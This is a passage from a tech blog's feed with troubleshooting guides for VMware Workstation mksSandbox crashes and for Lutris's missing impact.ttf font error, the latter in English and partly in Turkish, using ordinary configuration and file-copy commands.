&lt;p&gt;My first reflex, driven by typical Arch/Linux user paranoia, was to blame the guest OS. I thought systemd must have lost its mind, or maybe we hit a kernel panic. I spent hours digging through the guest&amp;rsquo;s &lt;code&gt;journalctl&lt;/code&gt; logs. But guess what? The logs were clean as a whistle! The guest Ubuntu was completely innocent. The issue was entirely due to a storm in the host machine&amp;rsquo;s graphics renderer (mksSandbox).&lt;/p&gt;
&lt;h2 id="what-is-mkssandbox-and-why-is-it-crashing"&gt;What is mksSandbox and Why is it Crashing?&lt;a class="headerlink" href="#what-is-mkssandbox-and-why-is-it-crashing" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;mksSandbox.exe&lt;/code&gt; (on Windows hosts) or its equivalent on Linux hosts is VMware&amp;rsquo;s graphics rendering engine. Its job is to draw the VM&amp;rsquo;s screen inside the console window using the host&amp;rsquo;s GPU. When this process dies, VMware forces the entire VM to shut down to prevent further corruption.&lt;/p&gt;
&lt;p&gt;Before you start debugging, keep these details in mind:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Your guest system is perfectly fine:&lt;/strong&gt; The crash didn't happen inside the VM. Guest logs are clean.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The crash is GPU/driver related:&lt;/strong&gt; Nvidia/AMD driver conflicts, Vulkan/OpenGL issues, or host Windows security features (like Core Isolation) are triggering the crash.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The PID number is irrelevant:&lt;/strong&gt; The number in the error dialog (e.g., 3796, 2878) is just the process ID of the dead sandbox instance. It changes every crash, so don't sweat it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Just like in my previous &lt;a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;How to Install OpenVPN on AWS EC2 and Fix DNS Leaks&lt;/a&gt; post, virtualization and host graphics/networking layers can sometimes run into these nasty conflicts. Let's look at how we can tame this graphics rendering beast step-by-step.&lt;/p&gt;
&lt;h2 id="1-running-the-vm-in-the-background-headless"&gt;1. Running the VM in the Background (Headless)&lt;a class="headerlink" href="#1-running-the-vm-in-the-background-headless" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you only access this VM via SSH or terminal commands, and you don&amp;rsquo;t need the graphical interface, you can completely avoid the crash by running it headless. If the console window isn't open, &lt;code&gt;mksSandbox&lt;/code&gt; won&amp;rsquo;t even run, so it can't crash.&lt;/p&gt;
&lt;p&gt;Simply click the &lt;strong&gt;X&lt;/strong&gt; button on the VM's tab in VMware Workstation and select &lt;strong&gt;Run in Background&lt;/strong&gt; from the dialog box.&lt;/p&gt;
&lt;p&gt;If you prefer to start it headless from a cold boot, you can use the &lt;code&gt;vmrun&lt;/code&gt; utility in PowerShell or terminal:&lt;/p&gt;
&lt;p&gt;For Windows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="s2"&gt;"C:\Program Files (x86)\VMware\VMware Workstation\vmrun.exe"&lt;/span&gt; &lt;span class="nb"&gt;start &lt;/span&gt;&lt;span class="s2"&gt;"C:\Users\Yucel\Documents\VMs\Ubuntu\Ubuntu.vmx"&lt;/span&gt; &lt;span class="n"&gt;nogui&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For Linux:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;vmrun&lt;span class="w"&gt; &lt;/span&gt;-T&lt;span class="w"&gt; &lt;/span&gt;ws&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/home/yucel/VMs/Ubuntu/Ubuntu.vmx"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nogui
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! 🚨 The risk starts when you open the GUI&lt;/p&gt;
&lt;p&gt;If you later double-click the VM in the library list to check the screen, the sandbox renderer wakes back up, making you vulnerable to the crash again until you close the tab.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="2-disabling-3d-graphics-acceleration"&gt;2. Disabling 3D Graphics Acceleration&lt;a class="headerlink" href="#2-disabling-3d-graphics-acceleration" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If you actively use the VM console (graphical apps, etc.), the next easiest move is disabling 3D graphics acceleration to fall back to software rendering.&lt;/p&gt;
&lt;p&gt;Shut down the VM. Go to VM &lt;strong&gt;Settings &amp;gt; Display&lt;/strong&gt; and uncheck &lt;strong&gt;Accelerate 3D graphics&lt;/strong&gt;. Save the changes and start the VM.&lt;/p&gt;
&lt;p&gt;VMware will now use a secure software renderer that does not communicate directly with your host GPU drivers.&lt;/p&gt;
&lt;h2 id="3-forcing-software-rendering-in-the-vmx-file"&gt;3. Forcing Software Rendering in the &lt;code&gt;.vmx&lt;/code&gt; File&lt;a class="headerlink" href="#3-forcing-software-rendering-in-the-vmx-file" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;To make sure this setting is pinned and can't be accidentally checked back on in the GUI, you can edit the &lt;code&gt;.vmx&lt;/code&gt; configuration file directly.&lt;/p&gt;
&lt;p&gt;With the VM powered off, open the &lt;code&gt;.vmx&lt;/code&gt; file in a text editor and add this line to the very bottom:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;mks.enableGLRenderer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"FALSE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡ Performance tip&lt;/p&gt;
&lt;p&gt;If you are already familiar with the trick to &lt;strong&gt;disable side-channel mitigations&lt;/strong&gt; to get better VM performance, you can add this parameter to your &lt;code&gt;.vmx&lt;/code&gt; configuration permanently.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="4-disabling-vulkan-graphics-engine-on-linux-hosts"&gt;4. Disabling Vulkan Graphics Engine on Linux Hosts&lt;a class="headerlink" href="#4-disabling-vulkan-graphics-engine-on-linux-hosts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If your host machine is running Linux (like Arch Linux) with Nvidia graphics, there might be a conflict between your GPU drivers and Vulkan. You can disable the Vulkan graphics engine globally.&lt;/p&gt;
&lt;p&gt;Open &lt;code&gt;~/.config/vmware/config&lt;/code&gt; on your host machine (create it if it doesn't exist) or add the following line directly to the VM's &lt;code&gt;.vmx&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="na"&gt;mks.enableVulkanPresentation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;"FALSE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="5-host-side-driver-and-os-tweaks"&gt;5. Host-side Driver and OS Tweaks&lt;a class="headerlink" href="#5-host-side-driver-and-os-tweaks" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If the crash persists even with graphics acceleration turned off, check these system-level options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Manage Nvidia Drivers:&lt;/strong&gt; Nvidia driver updates can sometimes break mksSandbox. Try updating to the latest stable driver or rolling back to a known working version.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable Core Isolation (Memory Integrity):&lt;/strong&gt; On Windows 11 hosts, turning off Core Isolation (Memory Integrity) can resolve these crashes (&lt;em&gt;Settings &amp;gt; Privacy &amp;amp; Security &amp;gt; Windows Security &amp;gt; Device Security &amp;gt; Core Isolation Details&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Downgrade VMware Workstation:&lt;/strong&gt; This crash is highly reported in VMware Workstation 17.6.x versions&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Many users on the Broadcom community forums reported that downgrading to version 17.5.2 fixed the issue completely.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="wrapping-up"&gt;Wrapping Up&lt;a class="headerlink" href="#wrapping-up" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;While sudden VM crashes are extremely annoying, you don't need to reinstall your guest OS. The problem is entirely inside the communication channel between your host system and the VMware graphics rendering sandbox. Running the VM headless (in the background) or disabling 3D acceleration is the easiest way to keep your workflow uninterrupted.&lt;/p&gt;
&lt;p&gt;&lt;img alt="VMware Workstation mksSandbox Crash Fix" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-xl.webp" srcset="/images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-sm.webp 300w, /images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-md.webp 500w, /images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-lg.webp 800w, /images/vmware-workstation-mkssandbox-cokus-hatasi-ve-cozumu-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Check out the &lt;a href="https://community.broadcom.com/vmware-cloud-foundation/question/isbrenderercomm-lost-connection-to-mkssandbox-3796" rel="noopener noreferrer" target="_blank"&gt;Broadcom community thread&lt;/a&gt; for more details and discussions on this error.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="vmware"/><category term="mkssandbox"/><category term="isbrenderercomm"/><category term="sanal-makine"/><category term="linux"/><category term="windows"/><category term="gpu"/><category term="nvidia"/></entry><entry><title>Lutris's impact.ttf Obstinacy and Fixing the Annoying Return Code 256</title><link href="https://yuceltoluyag.github.io/en/lutris-installed-file-impact-ttf-not-found-cozumu/" rel="alternate"/><published>2026-05-17T16:50:00+03:00</published><updated>2026-05-17T16:50:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-17:/en/lutris-installed-file-impact-ttf-not-found-cozumu/</id><summary type="html">&lt;p&gt;I explain the annoying case-sensitivity cause behind the "installed file .../Fonts/impact.ttf not found" error when installing EA App, Origin, or Plutonium launcher in Lutris, along with the prefix-resetting trick.&lt;/p&gt;</summary><content type="html">&lt;script type="application/ld+json"&gt;{"@context": "https://schema.org", "@type": "VideoObject", "name": "Lutris's impact.ttf Obstinacy and Fixing the Annoying Return Code 256", "description": "&lt;p&gt;I explain the annoying case-sensitivity cause behind the \"installed file .../Fonts/impact.ttf not found\" error when installing EA App, Origin, or Plutonium launcher in Lutris, along with the prefix-resetting trick.&lt;/p&gt;", "thumbnailUrl": "https://i.ytimg.com/vi/R-VTXW-xV20/hqdefault.jpg", "uploadDate": "2026-05-17T16:50:00+03:00", "embedUrl": "https://www.youtube.com/embed/R-VTXW-xV20"}&lt;/script&gt;
&lt;p&gt;Playing games on Linux can sometimes literally turn into a detective story, my friends. Yesterday was one of those infamous mornings again: cold coffee, bloodshot eyes from lack of sleep... I decided to install a game based on EA App, Origin, or Plutonium Launcher (especially the Battlefield crowd knows this well) via Lutris and play a couple of rounds. The installation went smooth as butter, and it said "completed". But just as I was about to launch the game, that red slap landed in the terminal: &lt;code&gt;Initial process has exited (return code: 256)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I opened the logs, and what did I see? &lt;code&gt;warning: install completed, but installed file .../Fonts/impact.ttf not found&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;I mean, seriously, it's just a basic font! Why on earth would you halt the entire installation script and crash the process just because of a single missing font file? What's more, the culprit behind this is Linux's infamous case-sensitivity curse. Let's dive in and fix this stubborn error step-by-step, just as I did on my own system.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="why-does-lutris-hang-on-this-error"&gt;🧐 Why Does Lutris Hang on This Error?&lt;a class="headerlink" href="#why-does-lutris-hang-on-this-error" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The background of this issue is actually pure comedy. The installation script downloads this font in the background and saves it as &lt;code&gt;Impact.ttf&lt;/code&gt; (capitalized). However, the Lutris and Proton prefix, while pretending to be Windows, stubbornly looks for &lt;code&gt;impact.ttf&lt;/code&gt; (lowercase). While this presents no issue whatsoever in the Windows world (NTFS) since filesystems are case-insensitive, in our beloved ext4 or btrfs filesystems, &lt;code&gt;Impact&lt;/code&gt; and &lt;code&gt;impact&lt;/code&gt; represent two completely different worlds!&lt;/p&gt;
&lt;p&gt;Lutris panics when it can't find the file and halts the process. When you say, "Alright, let me just rename this file or reinstall it," you hit a second wall: Lutris refuses to overwrite (override) the libraries it installed in the previous step, saying &lt;em&gt;"Already installed"&lt;/em&gt; and throwing an error. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; A complete dead end, right? But there is a solution&amp;mdash;in fact, two different ways.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="solution-methods"&gt;🛠️ Solution Methods&lt;a class="headerlink" href="#solution-methods" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="method-1-trash-bin-detective-work-manual-search-copy"&gt;Method 1: Trash Bin Detective Work (Manual Search &amp;amp; Copy)&lt;a class="headerlink" href="#method-1-trash-bin-detective-work-manual-search-copy" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Most of the time, after downloading the font, the installation script deletes the file and dumps it in the trash while cleaning up temporary directories. So our missing &lt;code&gt;impact.ttf&lt;/code&gt; isn't actually far away; it's likely sitting quietly in your system's trash bin.&lt;/p&gt;
&lt;p&gt;First, let's open our terminal and search high and low for that runaway file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;find&lt;span class="w"&gt; &lt;/span&gt;/&lt;span class="w"&gt; &lt;/span&gt;-iname&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"impact.ttf"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you are lucky, the terminal will spit out something like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Awesome! We found the fugitive. Now, let's make sure the Fonts folder exists inside our Lutris prefix:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note: Don't forget to replace the &lt;code&gt;BaBaGames&lt;/code&gt; folder path with your own Lutris installation directory. Typically, this path is under &lt;code&gt;~/Games/...&lt;/code&gt; or on an external drive you specified.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Now, let's copy that stubborn font file from the trash bin to its proper place and break Lutris's stubbornness:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/mnt/steam_depo/.Trash-1000/files/ea-app/drive_c/windows/Fonts/impact.ttf"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/mnt/steam_depo/BaBaGames/ea-app/dosdevices/c:/windows/Fonts/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Restart Lutris and try running the game again. Your issue should be solved!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="method-2-friday13-special-prefix-resetting-trick"&gt;Method 2: Friday13 Special "Prefix Resetting" Trick ⚡&lt;a class="headerlink" href="#method-2-friday13-special-prefix-resetting-trick" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If the manual copy method above didn't work, or if the installation script completely locked up due to the inability to override libraries, let me share a legendary trick that I personally applied on my live stream with definitive results.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! This process resets the settings under the prefix, but does not harm your installed game files. To better understand how the Wineprefix architecture works, you can check out my guide on &lt;a href="/en/wineprefix-nedir-nasil-kullanilir/"&gt;What is Wineprefix and How to Use It?&lt;/a&gt;. Still, it's always wise to have a backup, brother.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The logic is simple: we will break the complex library override loop that Lutris got stuck in. But while doing this, we will preserve the precious &lt;code&gt;Fonts&lt;/code&gt; folder we found or created.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Go to the Wine prefix folder (&lt;code&gt;.../dosdevices/&lt;/code&gt;) where the game/launcher is installed.&lt;/li&gt;
&lt;li&gt;Delete &lt;strong&gt;everything except the &lt;code&gt;Fonts&lt;/code&gt; folder&lt;/strong&gt; (all files and other subfolders) under the &lt;code&gt;c:/windows/&lt;/code&gt; directory.&lt;/li&gt;
&lt;li&gt;Make sure our problematic &lt;code&gt;impact.ttf&lt;/code&gt; file is sitting safely inside this preserved &lt;code&gt;Fonts&lt;/code&gt; folder.&lt;/li&gt;
&lt;li&gt;Open Lutris and restart the installation script.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Lutris will start building the prefix from scratch. When it comes to that problematic font, it will see that &lt;code&gt;impact.ttf&lt;/code&gt; is already lying quietly inside the folder. It will bypass the download and verification steps smoothly, and finish the setup as easy as pie without throwing any library conflict errors!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="alternative-methods-if-the-stubbornness-persists_1"&gt;🎮 Alternative Methods (If the Stubbornness Persists)&lt;a class="headerlink" href="#alternative-methods-if-the-stubbornness-persists" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If font errors are still flying around on your system, there are quicker ways to introduce fonts to the Wine environment all at once.&lt;/p&gt;
&lt;h3 id="a-bulk-font-installation-with-protontricks"&gt;A. Bulk Font Installation with Protontricks&lt;a class="headerlink" href="#a-bulk-font-installation-with-protontricks" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;We can harness the power of the terminal and inject basic Microsoft fonts into the prefix with a single command via &lt;code&gt;protontricks&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;protontricks&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;prefix-name&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fontsmooth&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;rgb&lt;span class="w"&gt; &lt;/span&gt;corefonts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If that doesn't cut it, this command comes to the rescue to install the entire font library brutally:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;protontricks&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;prefix-name&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;allfonts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="b-library-control-via-winecfg"&gt;B. Library Control via Winecfg&lt;a class="headerlink" href="#b-library-control-via-winecfg" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Right-click your game in the Lutris interface, go to &lt;strong&gt;Configure&lt;/strong&gt;, and from the &lt;strong&gt;Runner options&lt;/strong&gt; tab, click &lt;strong&gt;Wine configuration&lt;/strong&gt;. Open the &lt;strong&gt;Libraries&lt;/strong&gt; tab here to manually check the status of the &lt;code&gt;impact&lt;/code&gt; library and add it if necessary.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="practical-solution-on-live-stream_1"&gt;📺 Practical Solution on Live Stream&lt;a class="headerlink" href="#practical-solution-on-live-stream" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;You can also check out my live stream recording where I personally resolved this issue using the prefix-resetting method and explained every step in detail. The relevant part starts exactly at &lt;strong&gt;30:58&lt;/strong&gt;:&lt;/p&gt;
&lt;script src="https://cdn.jsdelivr.net/npm/@justinribeiro/lite-youtube@1/lite-youtube.min.js" type="module"&gt;&lt;/script&gt;
&lt;p&gt;&lt;lite-youtube videoid="R-VTXW-xV20" videostartat="1858"&gt;&lt;/lite-youtube&gt;&lt;/p&gt;
&lt;p&gt;At the end of the day, we won this battle against the terminal once again, my friends. If you have any questions or if your &lt;code&gt;find&lt;/code&gt; command comes up empty, drop a comment below and we'll solve it together.&lt;/p&gt;
&lt;p&gt;Stay safe, and I am finally off to leave myself in the arms of a well-deserved sleep!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/linux-oyunlara-turkce-yama-kurulumu/"&gt;How to Install Turkish Patches for Linux Games&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/wineprefix-nedir-nasil-kullanilir/"&gt;What is Wineprefix and How to Use It?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-steam-ses-hatasi-cozumu/"&gt;Arch Linux Steam Audio Error Fix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/davinci-resolve-20-1-linux-hatasi-cozumu/"&gt;Davinci Resolve 20.1 Linux Error Fix&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Lutris has strict security rules that prevent overwriting already installed packages during runner configuration. This situation can lock up the entire installation even for a single missing font.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sorun Giderme"/><category term="lutris"/><category term="proton"/><category term="wine"/><category term="linux"/><category term="oyun"/><category term="sorun-giderme"/></entry><entry><title>Lutris'in impact.ttf İnadı ve O Gıcık Return Code 256 Hatasının Çözümü</title><link href="https://yuceltoluyag.github.io/lutris-installed-file-impact-ttf-not-found-cozumu/" rel="alternate"/><published>2026-05-17T16:50:00+03:00</published><updated>2026-05-17T16:50:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-17:/lutris-installed-file-impact-ttf-not-found-cozumu/</id><summary type="html">&lt;p&gt;Lutris'te EA App, Origin veya Plutonium launcher kurarken karşılaşılan "installed file .../Fonts/impact.ttf not found" hatasının can sıkan harf duyarlılığı nedenini ve prefix sıfırlama taktiğini anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Linux'ta oyun oynamak bazen kelimenin tam anlam&amp;inodot;yla bir dedektiflik hikayesine d&amp;ouml;n&amp;uuml;&amp;scedil;&amp;uuml;yor karda&amp;scedil;. D&amp;uuml;n yine o me&amp;scedil;hur sabahlardan biriydi; kahve buz gibi olmu&amp;scedil;, g&amp;ouml;zler uykusuzluktan kan &amp;ccedil;ana&amp;gbreve;&amp;inodot;... S&amp;inodot;rf EA App, Origin veya Plutonium Launcher tabanl&amp;inodot; bir oyunu (&amp;ouml;zellikle Battlefield tayfas&amp;inodot; iyi bilir) Lutris &amp;uuml;zerinden kurup iki el atay&amp;inodot;m dedim. Kurulum t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r ilerledi, "tamamland&amp;inodot;" dedi. Ama tam oyunu ba&amp;scedil;latacakken terminalden o k&amp;inodot;rm&amp;inodot;z&amp;inodot; tokat indi: &lt;code&gt;Initial process has exited (return code: 256)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Loglar&amp;inodot; bir a&amp;ccedil;t&amp;inodot;m ki ne g&amp;ouml;reyim: &lt;code&gt;warning: install completed, but installed file .../Fonts/impact.ttf not found&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Yahu arkada&amp;scedil;, alt&amp;inodot; &amp;uuml;st&amp;uuml; basit bir yaz&amp;inodot; tipi! Bir font dosyas&amp;inodot; eksik diye koca kurulum scriptini yar&amp;inodot;da kesip s&amp;uuml;reci baltalamak hangi akla hizmettir? &amp;Uuml;stelik i&amp;scedil;in arkas&amp;inodot;nda Linux'un o me&amp;scedil;hur b&amp;uuml;y&amp;uuml;k-k&amp;uuml;&amp;ccedil;&amp;uuml;k harf duyarl&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot; (case-sensitivity) belas&amp;inodot; yat&amp;inodot;yor. Hadi gelin, bu inat&amp;ccedil;&amp;inodot; hatay&amp;inodot; kendi sistemimde nas&amp;inodot;l &amp;ccedil;&amp;ouml;zd&amp;uuml;ysem ad&amp;inodot;m ad&amp;inodot;m birlikte halledelim.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="lutris-bu-hataya-neden-taklp-kalyor"&gt;🧐 Lutris Bu Hataya Neden Tak&amp;inodot;l&amp;inodot;p Kal&amp;inodot;yor?&lt;a class="headerlink" href="#lutris-bu-hataya-neden-taklp-kalyor" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;in arka plan&amp;inodot; asl&amp;inodot;nda tam bir komedi. Kurulum scripti arka planda bu yaz&amp;inodot; tipini indirirken dosyay&amp;inodot; &lt;code&gt;Impact.ttf&lt;/code&gt; (b&amp;uuml;y&amp;uuml;k harfle) olarak kaydediyor. Ancak Lutris ve Proton prefix'i, Windows taklidi yaparken inatla &lt;code&gt;impact.ttf&lt;/code&gt; (k&amp;uuml;&amp;ccedil;&amp;uuml;k harfle) dosyas&amp;inodot;n&amp;inodot; ar&amp;inodot;yor. Windows d&amp;uuml;nyas&amp;inodot;nda (NTFS) dosya sistemleri b&amp;uuml;y&amp;uuml;k-k&amp;uuml;&amp;ccedil;&amp;uuml;k harfe duyarl&amp;inodot; olmad&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in bu durum hi&amp;ccedil;bir sorun yaratmazken; bizim can dostumuz ext4 veya btrfs dosya sistemlerinde &lt;code&gt;Impact&lt;/code&gt; ve &lt;code&gt;impact&lt;/code&gt; tamamen iki farkl&amp;inodot; d&amp;uuml;nya demek!&lt;/p&gt;
&lt;p&gt;Lutris dosyay&amp;inodot; bulamay&amp;inodot;nca pani&amp;gbreve;e kap&amp;inodot;l&amp;inodot;p s&amp;uuml;reci sonland&amp;inodot;r&amp;inodot;yor. "E tamam, ben bu dosyan&amp;inodot;n ad&amp;inodot;n&amp;inodot; de&amp;gbreve;i&amp;scedil;tireyim ya da ba&amp;scedil;tan kuray&amp;inodot;m" dedi&amp;gbreve;inizde ise ikinci bir duvara &amp;ccedil;arp&amp;inodot;yorsunuz: Lutris, &amp;ouml;nceki ad&amp;inodot;mda kurdu&amp;gbreve;u k&amp;uuml;t&amp;uuml;phaneleri yeniden yazmaya (override etmeye) yana&amp;scedil;m&amp;inodot;yor; &lt;em&gt;"Zaten y&amp;uuml;kl&amp;uuml;"&lt;/em&gt; deyip hata veriyor. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; Tam bir &amp;ccedil;&amp;inodot;kmaz sokak de&amp;gbreve;il mi? Ama &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml; var, hem de iki farkl&amp;inodot; yoldan.&lt;/p&gt;
&lt;hr/&gt;
